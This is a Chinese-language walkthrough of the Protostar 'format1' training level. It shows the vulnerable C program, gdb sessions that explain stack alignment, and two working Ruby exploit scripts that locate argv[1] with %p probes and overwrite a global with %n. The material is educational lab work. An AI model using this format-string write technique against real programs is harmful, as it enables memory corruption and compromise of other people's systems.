Format One
This level shows how format strings can be used to modify arbitrary memory locations.
Hints
- objdump -t is your friend, and your input string lies far up the stack :)
This level is at /opt/protostar/bin/format1
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void vuln(char *string)
{
printf(string);
if(target) {
printf("you have modified the target :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]);
}
Argv[1], %p, Breadcrumb
乍一看,感觉好简单x
int main(int argc, char **argv)
这里用了指针
那么思路就是打印一个面包屑做标记比如 ABCD 和一堆 %p
直到输出里出现 44434241
时,说明这里开始就是我们输入的 argv[1]
了
为什么要叫「面包屑」?参考《糖果屋》
另外,查看 man 3 printf 的话可以看到:
%p
: The void * pointer argument is printed in hexadecimal (as if by%#x
or%#lx
).所以
%p
和%08x
效果几乎是一样的,只是%08x
会在位数不足时开头补上 0,但不会像%p
那样在每个数字开头补上 “0x”比如,在
%08x
里看起来是这样的值:00000021
在
%p
里看起来会是这样:0x21
另外,在
%08x
里看起来是这样的值:00000000
在
%p
里看起来会是这样:(nil)
,也就是 NULL 的意思
那么开始尝试吧…使用 ruby -e
user@protostar:/tmp$ /opt/protostar/bin/format1 `ruby -e 'puts "ABCD" + "|%p"*131 '`
ABCD|0x804960c|0xbffff628|0x8048469|0xb7fd8304|0xb7fd7ff4|0xbffff628|0x8048435|0xbffff7fc|0xb7ff1040|0x804845b|0xb7fd7ff4|0x8048450|(nil)|0xbffff6a8|0xb7eadc76|0x2|0xbffff6d4|0xbffff6e0|0xb7fe1848|0xbffff690|0xffffffff|0xb7ffeff4|0x804824d|0x1|0xbffff690|0xb7ff0626|0xb7fffab0|0xb7fe1b28|0xb7fd7ff4|(nil)|(nil)|0xbffff6a8|0xdda5d91d|0xf7f1cf0d|(nil)|(nil)|(nil)|0x2|0x8048340|(nil)|0xb7ff6210|0xb7eadb9b|0xb7ffeff4|0x2|0x8048340|(nil)|0x8048361|0x804841c|0x2|0xbffff6d4|0x8048450|0x8048440|0xb7ff1040|0xbffff6cc|0xb7fff8f8|0x2|0xbffff7e1|0xbffff7fc|(nil)|0xbffff98a|0xbffff998|0xbffff9ac|0xbffff9ce|0xbffff9e1|0xbffff9eb|0xbffffedb|0xbfffff19|0xbfffff2d|0xbfffff36|0xbfffff47|0xbfffff4f|0xbfffff5f|0xbfffff6c|0xbfffffa2|0xbfffffb1|0xbfffffc4|(nil)|0x20|0xb7fe2414|0x21|0xb7fe2000|0x10|0xf8bfbff|0x6|0x1000|0x11|0x64|0x3|0x8048034|0x4|0x20|0x5|0x7|0x7|0xb7fe3000|0x8|(nil)|0x9|0x8048340|0xb|0x3e9|0xc|(nil)|0xd|0x3e9|0xe|0x3e9|0x17|0x1|0x19|0xbffff7cb|0x1f|0xbfffffe1|0xf|0xbffff7db|(nil)|(nil)|0xdc000000|0xdcc44ff8|0x5d311124|0xf251c72e|0x6923116e|0x363836|0x706f2f00|0x72702f74|0x736f746f|0x2f726174|0x2f6e6962|0x6d726f66|0x317461|0x44434241user@protostar:/tmp$
好耶,看起来第 131 个 %p
就是 argv[1]
开始的地方了!
接下来看看 %n
的定义:
The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted.
也就是说,可以用来一个地址写入「当前已打印了多少字符」
只要把 ABCD 换成自己想写的地址,第 131 个 %p
替换成 %n
就能改变这个地址的值了是么!
Script #1
于是我写出了如下的脚本:
#!/usr/bin/ruby
breadcrumb = "ABCD"
# convert ASCII to Hex in Little Endian
# str: String
# return: String
def to_hex(str)
return str.unpack('N*').pack('V*').unpack('H*') * ""
end
index = 1
maximum = 200
while index < maximum
command = "/opt/protostar/bin/format1 " + breadcrumb + "%p" * (index + 1)
result = `#{command}`
puts result
if result.include? to_hex(breadcrumb) then break end
index += 1
end
puts "index: #{index}"
# address of target: 0x08049638
target = "\x38\x96\x04\x08"
command = "/opt/protostar/bin/format1 " + target + ("%p" * index) + "%n"
puts "Running: #{command}"
puts `#{command}`
这个脚本的思路很简单:
- 每次都多打印一个
%p
- 如果在返回里检测到了
breadcrumb
的小端序值(这里面包屑是 ABCD,对应的值是44434241
)那么就停下来 - 记住到底打印了多少个
%p
才到了栈上argv[1]
的位置 - 把面包屑
breadcrumb
替换成要写的地址,打印同样多的%p
但把最后一个%p
替换成%n
- 结束
Unpack, Pack, MAGIC
有一个很奇怪的东西姑且也作为笔记记下来吧
也就是这个脚本里的 def to_hex(str)
它只做了一件事,就是 return str.unpack('N*').pack('V*').unpack('H*') * ""
然后就可以把一串 ASCII 变成小端序的十六进制值
这 是 魔 法
开一个 irb
来看看到底发生了什么吧
irb(main):009:0> tmp = "ABCD"
=> "ABCD"
irb(main):010:0> tmp = tmp.unpack('N*')
=> [1094861636]
irb(main):011:0> tmp = tmp.pack('V*')
=> "DCBA"
irb(main):012:0> tmp = tmp.unpack('H*')
=> ["44434241"]
irb(main):013:0> tmp = tmp * ""
=> "44434241"
irb(main):014:0> tmp.class
=> String
可见分为了以下步骤
-
tmp.unpack('N*')
把 String 类型的 tmp 转换成 32 bit 的整型,小端序。注意,从这里开始 tmp 的类型是 Array 了
-
tmp.pack('V*')
把 tmp 编码成字符串,大端序
-
tmp = tmp.unpack('H*')
把 tmp 编码成十六进制
-
tmp = tmp * ""
把 Array 类型的 tmp 转换成 String 类型
Breadcrumb is not in the last %p
可是执行这个脚本的时候却出现了这样的结果:
...664106e50xf1fcc6110xabeb1fff0x6916e02d0x363836(nil)0x706f2f000x72702f740x736f746f0x2f7261740x2f6e69620x6d726f660x3174610x444342410x70257025
index: 132
Running: /opt/.....
打印了 132 个 %p
,然后确实出现了 0x444342410
,但是却..不在最后一个 %p
上..而是在第 131 个
那为什么不在打印了 131 个 %p
后就停下来呢…
幸好每次增加一个 %p
的结果都有输出,让我们往上翻看一下 131 个 %p
时是什么情况…
......0x69622f720x6f662f6e0x74616d720x42410031
为什么打印 131 个 %p
时出现了 0x42410031
…
44 和 43 去哪里了呢…
我们回到开头那句命令
/opt/protostar/bin/format1 `ruby -e 'puts "ABCD" + "|%p"*133 '``
重新测试一下:
# pwd: /
# %p * 133
|0x616d726f|0x41003174|0x7c444342user@protostar:/$
# %p * 134
|0x317461|0x44434241|0x7c70257c|0x257c7025user@protostar:/$
# %p * 135
|0x726f662f|0x3174616d|0x43424100|0x70257c44|0x7c70257c|0x257c7025|0x70257c70user@protostar:/$
会发现面包屑对应的十六进制无法出现在一个 4 bytes 上,
且就算出现在了一个 4 bytes 里也并不出现在最后一个%p
这也就导致了那个脚本无法使用
到底怎么会是呢…
Pwd, Alignment, Environment Variables
不知道读者有没有注意到一点,
在最开始那个 44434241
完美出现在一个 4 bytes 里,还是在最后一个 %p
的情况,
它的工作目录是:/tmp
而上面那个无法对齐又不在最后一个的情况,工作目录是:/
看来大概的确是环境变量的问题,让我们开个 gdb 验证一下
检视一下栈的位置:
(gdb) info proc map
process 7506
cmdline = '/opt/protostar/bin/format1'
cwd = '/'
exe = '/opt/protostar/bin/format1'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/format1
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/format1
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fe0000 0xb7fe2000 0x2000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
可以看到是从 0xbffeb000
到 0xc0000000
接下来找找 argv[1]
的地址:
(gdb) disassemble main
Dump of assembler code for function main:
0x0804841c <main+0>: push ebp
0x0804841d <main+1>: mov ebp,esp
0x0804841f <main+3>: and esp,0xfffffff0
0x08048422 <main+6>: sub esp,0x10
0x08048425 <main+9>: mov eax,DWORD PTR [ebp+0xc]
0x08048428 <main+12>: add eax,0x4
0x0804842b <main+15>: mov eax,DWORD PTR [eax]
0x0804842d <main+17>: mov DWORD PTR [esp],eax
0x08048430 <main+20>: call 0x80483f4 <vuln>
0x08048435 <main+25>: leave
0x08048436 <main+26>: ret
End of assembler dump.
在 call 0x80483f4 <vuln>
设置断点并查看 EAX 指向的值就是 argv[1]
(gdb) break *0x08048430
Note: breakpoint 2 also set at pc 0x8048430.
Breakpoint 3 at 0x8048430: file format1/format1.c, line 19.
(gdb) r ABCD1234
Starting program: /opt/protostar/bin/format1 ABCD1234
Breakpoint 2, 0x08048430 in main (argc=2, argv=0xbffff844) at format1/format1.c:19
19 in format1/format1.c
(gdb) info registers
eax 0xbffff987 -1073743481
ecx 0x4fa715d9 1336350169
edx 0x2 2
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff780 0xbffff780
ebp 0xbffff798 0xbffff798
esi 0x0 0
edi 0x0 0
eip 0x8048430 0x8048430 <main+20>
eflags 0x200286 [ PF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
可以看到 EAX 的地址是 0xbffff987
为了方便演示,我这里把 EAX 的地址 0xbffff987
前面的一部分内容也打印出来,就从 0xbffff970
开始吧
使用 x/20s
即:[Examine] / [next 20 values] [String]
(gdb) x/20s 0xbffff970
0xbffff970: "/protostar/bin/format1"
0xbffff987: "ABCD1234"
0xbffff990: "USER=user"
0xbffff99a: "SSH_CLIENT=192.168.2.....
可以看到,argv[1] = ABCD1234
时,地址是 0xbffff987
argv[1]
后面出现的那些是环境变量,我们暂时不用去管
接下来试着给 argv[1]
增加字符….
(gdb) r ABCD12345
(gdb) x/20s 0xbffff970
0xbffff970: "protostar/bin/format1"
0xbffff986: "ABCD12345"
0xbffff990: "USER=user"
(gdb) r ABCD123456
(gdb) x/20s 0xbffff970
0xbffff970: "rotostar/bin/format1"
0xbffff985: "ABCD123456"
0xbffff990: "USER=user"
(gdb) r ABCD1234567
(gdb) x/20s 0xbffff970
0xbffff970: "otostar/bin/format1"
0xbffff984: "ABCD1234567"
0xbffff990: "USER=user"
0xbffff99a: "SSH_CL...
可以看到随着参数的逐渐加长,argv[1]
的地址逐渐在减小…
但是这又怎么会影响 printf
读到的内容呢..
因为就算argv[1]
的地址逐渐减小,那 printf
的地址也会逐渐减小的啊,一次减小一个 bytes 的话,printf
的地址到 argv[1]
的地址中间的距离应该不变才对…
EAX, EBP, Buffer
上面的设想是错的,实际上 printf
的地址到 argv[1]
的地址中间的距离确实地改变了
依然用 gdb 做个实验吧,在 call 0x80483f4 <vuln>
设置断点
(gdb) disassemble main
Dump of assembler code for function main:
0x0804841c <main+0>: push ebp
0x0804841d <main+1>: mov ebp,esp
0x0804841f <main+3>: and esp,0xfffffff0
0x08048422 <main+6>: sub esp,0x10
0x08048425 <main+9>: mov eax,DWORD PTR [ebp+0xc]
0x08048428 <main+12>: add eax,0x4
0x0804842b <main+15>: mov eax,DWORD PTR [eax]
0x0804842d <main+17>: mov DWORD PTR [esp],eax
0x08048430 <main+20>: call 0x80483f4 <vuln>
0x08048435 <main+25>: leave
0x08048436 <main+26>: ret
End of assembler dump.
(gdb) break *0x08048430
Breakpoint 1 at 0x8048430: file format1/format1.c, line 19.
然后改变参数的长度…
(gdb) r ABCD1234AB
Starting program: /opt/protostar/bin/format1 ABCD1234AB
Breakpoint 1, 0x08048430 in main (argc=2, argv=0xbffff844) at format1/format1.c:19
19 in format1/format1.c
(gdb) info registers
eax 0xbffff97c -1073743492
ecx 0xad015181 -1392422527
edx 0x2 2
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff780 0xbffff780
ebp 0xbffff798 0xbffff798
esi 0x0 0
(gdb) r ABCD1234ABC
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/format1 ABCD1234ABC
Breakpoint 1, 0x08048430 in main (argc=2, argv=0xbffff844) at format1/format1.c:19
19 in format1/format1.c
(gdb) info registers
eax 0xbffff97b -1073743493
ecx 0x912d21cc -1859313204
edx 0x2 2
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff780 0xbffff780
ebp 0xbffff798 0xbffff798
esi 0x0 0
(gdb) r ABCD1234ABCD
Starting program: /opt/protostar/bin/format1 ABCD1234ABCD
Breakpoint 1, 0x08048430 in main (argc=2, argv=0xbffff834) at format1/format1.c:19
19 in format1/format1.c
(gdb) info registers
eax 0xbffff97a -1073743494
ecx 0xadac7a9d -1381205347
edx 0x2 2
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff770 0xbffff770
ebp 0xbffff788 0xbffff788
esi 0x0 0
可以看到,从 ABCD1234AB
到 ABCD1234ABC
时,EAX 确实减小了一,但 EBP 的值没变
从 ABCD1234ABC
到 ABCD1234ABCD
时,EAX 确实减小了一,
但 EBP…从 0xbffff798
到 0xbffff788
,减小了 16…
那 EBP 是什么呢?
我们可以看到在 main()
的汇编代码的第一行出现了 0x0804841c <main+0>: push ebp
而这里的 EBP 就是 main
函数在栈中开始读写数据的位置
推测有那么一个 16 bytes 的 buffer,每当 buffer 塞满时,主程序所占的栈空间就整体下移 16 bytes,具体体现在 EBP 减小了 16
至于原因…?类似硬盘的 4K 对齐?
总之这就是为什么我们用 %p
来打印 4 bytes 时 44434241 无法出现在同一个 %p
内的原因,毕竟每次参数长度的改变都会改变argv[1]
的地址
虽然原理是知道了,但总感觉好像无解x
Script #2
于是稍微修改了一下先前的脚本,现在的脚本思路是:
- 每次都多打印一个
%p
- 如果在返回里检测到了
breadcrumb
的小端序值(这里面包屑是 ABCD,对应的值是44434241
)那么就停下来 - 记录输出中第几个
%p
的位置对应着面包屑十六进制值 - 记录到底打印了多少个
%p
才到了栈上argv[1]
的位置 - 把面包屑
breadcrumb
替换成要写的地址,打印同样多的%p
但把第三步中记录的%p
换成%n
- 结束
#!/usr/bin/ruby
# convert ASCII to Hex in Little Endian
# str: String
# return: String
def to_hex(str)
# convert to 32 bit integers in small endian
# the tmp is Array
tmp = str.unpack('N*')
# encode these integers with big endian
tmp = tmp.pack('V*')
# encode the result in hexadecimal
tmp = tmp.unpack('H*')
# convert Array to String
return tmp * ""
end
# address of target: 0x08049638
target = "\x38\x96\x04\x08"
breadcrumb = "ABCD"
times = 1
maximum = 200
while times <= maximum
command = <<-END
/opt/protostar/bin/format1 "#{breadcrumb} #{"%p " * times}"
END
result = `#{command}`
if result.include? to_hex(breadcrumb) then break end
if times == maximum then abort("err") end
times += 1
end
puts result
puts "> %p appeared #{times} times"
breadcrumb_index = result.split.index("0x" + to_hex(breadcrumb))
puts "> breadcrumb appeared in the #{breadcrumb_index} %p"
command = <<-END
/opt/protostar/bin/format1 "#{target} #{"%p " * (breadcrumb_index - 1)}%n #{"%p " * (times - breadcrumb_index)}"
END
puts "> exec: #{command}"
puts `#{command}`
完成w